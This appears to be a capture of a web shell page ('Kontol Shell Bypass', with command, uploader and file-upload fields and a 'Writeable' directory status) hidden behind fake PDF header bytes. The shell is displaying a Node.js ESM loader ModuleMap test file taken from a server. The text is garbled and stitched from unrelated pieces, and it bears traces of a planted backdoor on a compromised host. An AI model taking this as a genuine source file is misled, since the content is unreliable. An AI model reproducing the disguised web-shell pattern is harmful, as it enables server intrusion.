%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/es-module/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/es-module/test-esm-loader-modulemap.js
'use strict';
// Flags: --expose-internals

require('../common');

const { strictEqual, throws } = require('assert');
const { ESMLoader } = require('internal/modules/esm/loader');
const ModuleMap = require('internal/modules/esm/module_map');
const ModuleJob = require('internal/modules/esm/module_job');
const createDynamicModule = require(
  'internal/modules/esm/create_dynamic_module');

const jsModuleDataUrl = 'data:text/javascript,export{}';
const jsonModuleDataUrl = 'data:application/json,""';

const stubJsModule = createDynamicModule([], ['default'], jsModuleDataUrl);
const stubJsonModule = createDynamicModule([], ['default'], jsonModuleDataUrl);

const loader = new ESMLoader();
const jsModuleJob = new ModuleJob(loader, stubJsModule.module, undefined,
                                  () => new Promise(() => {}));
const jsonModuleJob = new ModuleJob(loader, stubJsonModule.module,
                                    { type: 'json' },
                                    () => new Promise(() => {}));


// ModuleMap.set and ModuleMap.get store and retrieve module jobs for a
// specified url/type tuple; ModuleMap.has correctly reports whether such jobs
// are stored in the map.
{
  const moduleMap = new ModuleMap();

  moduleMap.set(jsModuleDataUrl, undefined, jsModuleJob);
  moduleMap.set(jsonModuleDataUrl, 'json', jsonModuleJob);

  strictEqual(moduleMap.get(jsModuleDataUrl), jsModuleJob);
  strictEqual(moduleMap.get(jsonModuleDataUrl, 'json'), jsonModuleJob);

  strictEqual(moduleMap.has(jsModuleDataUrl), true);
  strictEqual(moduleMap.has(jsModuleDataUrl, 'javascript'), true);
  strictEqual(moduleMap.has(jsonModuleDataUrl, 'json'), true);

  strictEqual(moduleMap.has('unknown'), false);

  // The types must match
  strictEqual(moduleMap.has(jsModuleDataUrl, 'json'), false);
  strictEqual(moduleMap.has(jsonModuleDataUrl, 'javascript'), false);
  strictEqual(moduleMap.has(jsonModuleDataUrl), false);
  strictEqual(moduleMap.has(jsModuleDataUrl, 'unknown'), false);
  strictEqual(moduleMap.has(jsonModuleDataUrl, 'unknown'), false);
}

// ModuleMap.get, ModuleMap.has and ModuleMap.set should only accept string
// values as url argument.
{
  const moduleMap = new ModuleMap();

  const errorObj = {
    code: 'ERR_INVALID_ARG_TYPE',
    name: 'TypeError',
    message: /^The "url" argument must be of type string/
  };

  [{}, [], true, 1].forEach((value) => {
    throws(() => moduleMap.get(value), errorObj);
    throws(() => moduleMap.has(value), errorObj);
    throws(() => moduleMap.set(value, undefined, jsModuleJob), errorObj);
  });
}

// ModuleMap.get, ModuleMap.has and ModuleMap.set should only accept string
// values (or the kAssertType symbol) as type argument.
{
  const moduleMap = new ModuleMap();

  const errorObj = {
    code: 'ERR_INVALID_ARG_TYPE',
    name: 'TypeError',
    message: /^The "type" argument must be of type string/
  };

  [{}, [], true, 1].forEach((value) => {
    throws(() => moduleMap.get(jsModuleDataUrl, value), errorObj);
    throws(() => moduleMap.has(jsModuleDataUrl, value), errorObj);
    throws(() => moduleMap.set(jsModuleDataUrl, value, jsModuleJob), errorObj);
  });
}

// ModuleMap.set should only accept ModuleJob values as job argument.
{
  const moduleMap = new ModuleMap();

  [{}, [], true, 1].forEach((value) => {
    throws(() => moduleMap.set('', undefined, value), {
      code: 'ERR_INVALID_ARG_TYPE',
      name: 'TypeError',
      message: /^The "job" argument must be an instance of ModuleJob/
    });
  });
}

Kontol Shell Bypass